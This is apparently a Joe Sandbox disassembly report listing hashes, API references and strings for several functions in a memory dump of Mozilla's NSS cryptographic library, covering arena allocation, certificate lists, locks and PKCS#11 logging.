Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 0d581f51f1d3074c9bcaa8f3f3452b52d44aeeaeddcbc731ab9fa4d0198b2d58
Instruction ID: 52ed255932ab9c18555b1dcadc41d978d1805af2d857d435bceac89a589834c2
Opcode Fuzzy Hash: 0d581f51f1d3074c9bcaa8f3f3452b52d44aeeaeddcbc731ab9fa4d0198b2d58
Instruction Fuzzy Hash: F94159B1C101537BEB126F199C44BBB3AA5AF8A308F064124E8155F306EB76D954C7D3

Function 6CFDDDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CFDDDDE

Part of subcall function 6D030FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFD87ED,00000800,6CFCEF74,00000000), ref: 6D031000
Part of subcall function 6D030FF0: PR_NewLock.NSS3(?,00000800,6CFCEF74,00000000), ref: 6D031016
Part of subcall function 6D030FF0: PL_InitArenaPool.NSS3(00000000,security,6CFD87ED,00000008,?,00000800,6CFCEF74,00000000), ref: 6D03102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CFDDDF5

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CFDDE34
PR_Now.NSS3 ref: 6CFDDE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6CFDDE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFDDEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CFDDEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CFDDED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6CFDDEF0
PR_smprintf.NSS3(6D10AAF9,(NULL) (Validity Unknown)), ref: 6CFDDF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFDDF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CFDDF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6CFDDF33
free.MOZGLUE(00000000), ref: 6CFDDF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFDDF4B
free.MOZGLUE(00000000), ref: 6CFDDF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFDDF8E

Strings

(NULL) (Validity Unknown), xrefs: 6CFDDEFA
%s%s, xrefs: 6CFDDEEB
{???}, xrefs: 6CFDDE8B

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: d9e0941a2f75bdcf13ffdfa116d85db8bd5e222ce191b704811701d1b32fb8de
Instruction ID: a9f69520cab01325a510b6d7ac0dbb738517730f0d25c53d7f41b9a662bdef83
Opcode Fuzzy Hash: d9e0941a2f75bdcf13ffdfa116d85db8bd5e222ce191b704811701d1b32fb8de
Instruction Fuzzy Hash: 3551A3B1D042165BEB109F659C41BAF7BB9AF85358F1A4028E809EB705E731E900CBF2

Function 6D012D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6D012DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6D012E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6D012E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6D012E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CFE4F1C,?,-00000001,00000000,?), ref: 6D012E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CFE4F1C,?,-00000001,00000000), ref: 6D012E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6D012EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6D012EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6D012EF8
PR_Unlock.NSS3(?), ref: 6D012F62
TlsGetValue.KERNEL32 ref: 6D012F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6D012F9E
PR_Unlock.NSS3(?), ref: 6D012FCA
TlsGetValue.KERNEL32 ref: 6D01301A
EnterCriticalSection.KERNEL32(?), ref: 6D01302E
PR_Unlock.NSS3(?), ref: 6D013066
PR_SetError.NSS3(00000000,00000000), ref: 6D013085
PR_Unlock.NSS3(?), ref: 6D0130EC
TlsGetValue.KERNEL32 ref: 6D01310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6D013124
PR_Unlock.NSS3(?), ref: 6D01314C

Part of subcall function 6CFF9180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6D02379E,?,6CFF9568,00000000,?,6D02379E,?,00000001,?), ref: 6CFF918D
Part of subcall function 6CFF9180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6D02379E,?,6CFF9568,00000000,?,6D02379E,?,00000001,?), ref: 6CFF91A0

Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07AD
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07CD
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07D6
Part of subcall function 6CFC07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CF5204A), ref: 6CFC07E4
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,6CF5204A), ref: 6CFC0864
Part of subcall function 6CFC07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CFC0880
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,6CF5204A), ref: 6CFC08CB
Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(?,?,6CF5204A), ref: 6CFC08D7
Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(?,?,6CF5204A), ref: 6CFC08FB

PR_SetError.NSS3(00000000,00000000), ref: 6D01316D

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 37d5b9ed4e92cc675e20586eebec3b63632a142c4647f6761a15bdd7518b27db
Instruction ID: c9cd133b67467e5e76c5e18d83c7f6715ac61273a3e2fb9a0697480d14bf180d
Opcode Fuzzy Hash: 37d5b9ed4e92cc675e20586eebec3b63632a142c4647f6761a15bdd7518b27db
Instruction Fuzzy Hash: A2F1ABB5D04209AFEF11DFA4EC85BAEBBB5BF0A314F054168EC04A7211E771E895CB91

Function 6D00AF20 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6D00AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6D00AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6D00AF83

Part of subcall function 6D0ED930: PL_strncpyz.NSS3(?,?,?), ref: 6D0ED963

PR_LogPrint.NSS3(?,00000000), ref: 6D00AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6D00AFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6D00AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6D00AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6D00B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6D00B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6D00B041

Strings

pData = 0x%p, xrefs: 6D00AFEF
hSession = 0x%x, xrefs: 6D00AF5E, 6D00AF6E
C_SignMessage, xrefs: 6D00AF41
ulParameterLen = 0x%p, xrefs: 6D00AFD4
pSignature = 0x%p, xrefs: 6D00B023
pParameter = 0x%p, xrefs: 6D00AFB9
pulSignatureLen = 0x%p, xrefs: 6D00B03C
(CK_INVALID_HANDLE), xrefs: 6D00AF7C
ulDataLen = %d, xrefs: 6D00B00A

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage
API String ID: 1003633598-1612141141
Opcode ID: afdae15a7078d5a5556ef3738b29c88fad2f5c4010d5a668d59202f0357e0a1a
Instruction ID: e0554a809d9640a6d0081d7d8fd608ee70e1e181ab3ceeb70ec784ea44f70e61
Opcode Fuzzy Hash: afdae15a7078d5a5556ef3738b29c88fad2f5c4010d5a668d59202f0357e0a1a
Instruction Fuzzy Hash: 7141D4B9504104BFFB209F91ED44F6E3BB1EB4630CF4A8024FA0867112DBB58955DF92

Function 6CFF9FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CFF9FBE

Part of subcall function 6CFD2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CFD2F0A
Part of subcall function 6CFD2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CFD2F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CFFA015

Part of subcall function 6D011940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6D01563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6D01195C
Part of subcall function 6D011940: EnterCriticalSection.KERNEL32(?,?,6D01563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6CFEEAC5,00000001), ref: 6D011970
Part of subcall function 6D011940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6CFEEAC5,00000001,?,6CFECE9B,00000001,6CFEEAC5), ref: 6D0119A0

PL_FreeArenaPool.NSS3(?), ref: 6CFFA067
PR_CallOnce.NSS3(6D132AA4,6D0312D0), ref: 6CFFA055

Part of subcall function 6CF54C70: TlsGetValue.KERNEL32(?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54C97
Part of subcall function 6CF54C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54CB0
Part of subcall function 6CF54C70: PR_Unlock.NSS3(?,?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFFA07E
PR_CallOnce.NSS3(6D132AA4,6D0312D0), ref: 6CFFA0B1
PL_FreeArenaPool.NSS3(?), ref: 6CFFA0C7
PL_FinishArenaPool.NSS3(?), ref: 6CFFA0CF
PR_CallOnce.NSS3(6D132AA4,6D0312D0), ref: 6CFFA12E
PL_FreeArenaPool.NSS3(?), ref: 6CFFA140
PL_FinishArenaPool.NSS3(?), ref: 6CFFA148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFFA158
PL_FinishArenaPool.NSS3(?), ref: 6CFFA175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6CFFA1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6CFFA1B2
free.MOZGLUE(00000000), ref: 6CFFA1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6CFFA1D6

Part of subcall function 6D0155E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6CFEEAC5,00000001,?,6CFECE9B,00000001,6CFEEAC5,00000003,-00000004,00000000,?,6CFEEAC5), ref: 6D015627
Part of subcall function 6D0155E0: PR_CallOnce.NSS3(6D132AA4,6D0312D0,?,?,?,?,?,?,?,?,?,?,6CFEEAC5,00000001,?,6CFECE9B), ref: 6D01564F
Part of subcall function 6D0155E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CFEEAC5,00000001), ref: 6D015661
Part of subcall function 6D0155E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CFEEAC5), ref: 6D0156AF

Strings

security, xrefs: 6CFFA00F

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 5bfe018cf34fe37b459dbe0b1bff088fbef4ab4c0a78ed0ed0b5719d019e37ef
Instruction ID: c4e553a205ba1d454ae042ae9cc4bd0097e0864b8cbcd1a8ef5426f66b6a4221
Opcode Fuzzy Hash: 5bfe018cf34fe37b459dbe0b1bff088fbef4ab4c0a78ed0ed0b5719d019e37ef
Instruction Fuzzy Hash: 3951F6B5D04209ABEB109BA4EC44FAF73B4EF4570CF134124E9256B762E771E50ACB92

Function 6D016CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6D016910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6D016943
Part of subcall function 6D016910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6D016957
Part of subcall function 6D016910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6D016972
Part of subcall function 6D016910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6D016983
Part of subcall function 6D016910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6D0169AA
Part of subcall function 6D016910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6D0169BE
Part of subcall function 6D016910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6D0169D2
Part of subcall function 6D016910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6D0169DF
Part of subcall function 6D016910: NSSUTIL_ArgStrip.NSS3(?), ref: 6D016A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6D016D8C
free.MOZGLUE(00000000), ref: 6D016DC5
free.MOZGLUE(?), ref: 6D016DD6
free.MOZGLUE(?), ref: 6D016DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6D016E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6D016E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6D016E72
free.MOZGLUE(?), ref: 6D016EA7
free.MOZGLUE(?), ref: 6D016EC4
free.MOZGLUE(?), ref: 6D016ED5
free.MOZGLUE(00000000), ref: 6D016EE3
free.MOZGLUE(?), ref: 6D016EF4
free.MOZGLUE(?), ref: 6D016F08
free.MOZGLUE(00000000), ref: 6D016F35
free.MOZGLUE(?), ref: 6D016F44
free.MOZGLUE(?), ref: 6D016F5B
free.MOZGLUE(00000000), ref: 6D016F65

Part of subcall function 6D016C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6D01781D,00000000,6D00BE2C,?,6D016B1D,?,?,?,?,00000000,00000000,6D01781D), ref: 6D016C40
Part of subcall function 6D016C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6D01781D,?,6D00BE2C,?), ref: 6D016C58
Part of subcall function 6D016C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6D01781D), ref: 6D016C6F
Part of subcall function 6D016C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6D016C84
Part of subcall function 6D016C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6D016C96
Part of subcall function 6D016C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6D016CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6D016F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6D016FC5
PK11_GetInternalKeySlot.NSS3 ref: 6D016FF4

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: fe33466af9373e2af15266a7a62612a4553cf77a0f336cef0ab6f51d01b8920a
Instruction ID: c113b86e80256333f4810e8242ccabbba2cddb08ae2b1e214e5eecc9e84a58f0
Opcode Fuzzy Hash: fe33466af9373e2af15266a7a62612a4553cf77a0f336cef0ab6f51d01b8920a
Instruction Fuzzy Hash: 3AB14AB5E0821A9BEF01CBE5DC44BAEBBF9BF09354F440128E915A7240E731E954CBE1

Function 6D014C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6D014C4C
EnterCriticalSection.KERNEL32(?), ref: 6D014C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6D014CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6D014CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6D014CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D014D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D014D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6D014DB7

Part of subcall function 6D07DD70: TlsGetValue.KERNEL32 ref: 6D07DD8C
Part of subcall function 6D07DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D07DDB4

Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07AD
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07CD
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07D6
Part of subcall function 6CFC07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CF5204A), ref: 6CFC07E4
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,6CF5204A), ref: 6CFC0864
Part of subcall function 6CFC07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CFC0880
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,6CF5204A), ref: 6CFC08CB
Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(?,?,6CF5204A), ref: 6CFC08D7
Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(?,?,6CF5204A), ref: 6CFC08FB

TlsGetValue.KERNEL32 ref: 6D014DD7
EnterCriticalSection.KERNEL32(?), ref: 6D014DEC
PR_Unlock.NSS3(?), ref: 6D014E1B
PR_SetError.NSS3(00000000,00000000), ref: 6D014E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D014E5A
PR_SetError.NSS3(00000000,00000000), ref: 6D014E71
free.MOZGLUE(00000000), ref: 6D014E7A
PR_Unlock.NSS3(?), ref: 6D014EA2
TlsGetValue.KERNEL32 ref: 6D014EC1
EnterCriticalSection.KERNEL32(?), ref: 6D014ED6
PR_Unlock.NSS3(?), ref: 6D014F01
free.MOZGLUE(00000000), ref: 6D014F2A

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 364cbce9a04d29f4e4c7e975842c0824cf5aa7a22662fe556eddadd154b550ab
Instruction ID: 4713980a2e135ba71dd42929e95045078805e89e5cd06f9b5115eedfc06b1587
Opcode Fuzzy Hash: 364cbce9a04d29f4e4c7e975842c0824cf5aa7a22662fe556eddadd154b550ab
Instruction Fuzzy Hash: 37B1E375E04206AFEB01DFA8EC84BAA77B4BF49318F014028ED159B321E771E961CB91

Function 6D01FFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D01FFB4

Part of subcall function 6D0998D0: calloc.MOZGLUE(00000001,00000084,6CFC0936,00000001,?,6CFC102C), ref: 6D0998E5

PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D01FFC6

Part of subcall function 6D0998D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6D099946
Part of subcall function 6D0998D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CF516B7,00000000), ref: 6D09994E
Part of subcall function 6D0998D0: free.MOZGLUE(00000000), ref: 6D09995E

PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D01FFD6
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D01FFE6
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D01FFF6
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D020006
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D020016
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D020026
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D020036
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D020046
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D020056
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D020066
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D020076
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D020086
